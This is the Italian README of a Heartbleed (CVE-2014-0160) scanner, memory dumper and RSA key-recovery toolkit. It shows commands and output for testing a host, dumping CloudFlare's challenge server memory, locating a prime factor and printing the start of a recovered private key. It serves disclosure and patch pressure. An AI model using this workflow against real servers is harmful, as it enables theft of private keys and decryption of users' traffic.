
Scanner di vulnerabilità OpenSSL Heartbleed (CVE-2014-0160), data miner e strumenti di ripristino delle chiavi RSA.
Autore: Einar Otto Stangvik / @einaros / https://hacking.ventures
Dato che il gatto è ormai fuori dal sacco da tempo e altri hanno iniziato a pubblicare i loro strumenti, metto anche i miei a disposizione. Spero che questo amplifichi la pressione su coloro che non hanno ancora applicato patch o aggiornato i loro server. Altri potrebbero trovare gli strumenti di valore educativo.
A differenza di molti altri PoC di Heartbleed, questo strumento fornirà la maggior parte dei cifrari possibili nel pacchetto iniziale ClientHello. Qualunque cifrario scelga il server verrà utilizzato per tutti i successivi pacchetti ClientHello in una sessione di dump. Ciò dovrebbe garantire un corretto rilevamento della vulnerabilità, nonché ridurre il sovraccarico una volta trovato un cifrario.
Usa questi strumenti come preferisci, ma facci un favore a tutti: Risolvi problemi invece di crearne.
Ispirato dal lavoro e dalle pubblicazioni di:
Qui si vede il recupero di uno dei primi RSA della challenge CloudFlare 34 volte in un minuto. Equivale ad ottenere la chiave privata completa 34 volte in un minuto.

# Test vulnerability using unobtrusive mode
# This will request N bytes, but supply N-1 itself, so that the server will
# only actually bleed a single byte if vulnerable. Suggested N is 16360 in this
# case, since that will result in a single TLS record:
# 3 + 2 + 1 + 2 + 16360 + 16 bytes = 0xFFFF.
$ ./hb.py -u -n 16360 -p 443 www.example.int
www.example.int:443 is vulnerable
# Dupm data from CloudFlare's old challenge server
$ ./hb.py -p 443 www.cloudflarechallenge.com -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
[2014/04/14 10:55:48] Incoming data rate: 85877 kbps
... runs for a while
# Look for prime in the dump
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin
Key size: 128
Data length: 173476834
cloudflare-dump.bin Offset 0xf155ec: p = 13827796798740740191625032142481917804987720337701...
# Extract key once found
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin 0xf155ec
Prime should be at offset: f155ec
Key size: 128
Hexdump of surrounding data:
f151ec: D0 00 00 00 00 00 00 00 00 00 00 00 00 00 30 C0 ..............0.
f151fc: 3C 01 00 00 00 00 00 00 00 00 00 00 00 00 90 8B <...............
f1520c: D0 00 00 00 00 00 02 00 C3 A3 4D 08 48 47 00 00 ..........M.HG..
...
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAm0AWkVnDx5feOctdC97Ztgvtd25uKKmhjCHpLycmExe1RiRSl/hGIL7f8Fg/
qiUztVm5uXZJ1UG7dzz+9OtTNh+v27BtzPsU3yivHevwAB1mTMtP6bPuXBjzsxRcC9yVcBBWpKBM
...
L'autore non può e non rivendica alcun diritto su alcuna parte di questo pacchetto. Si basa su idee aperte, e rimarrà aperto per quanto gli interessa.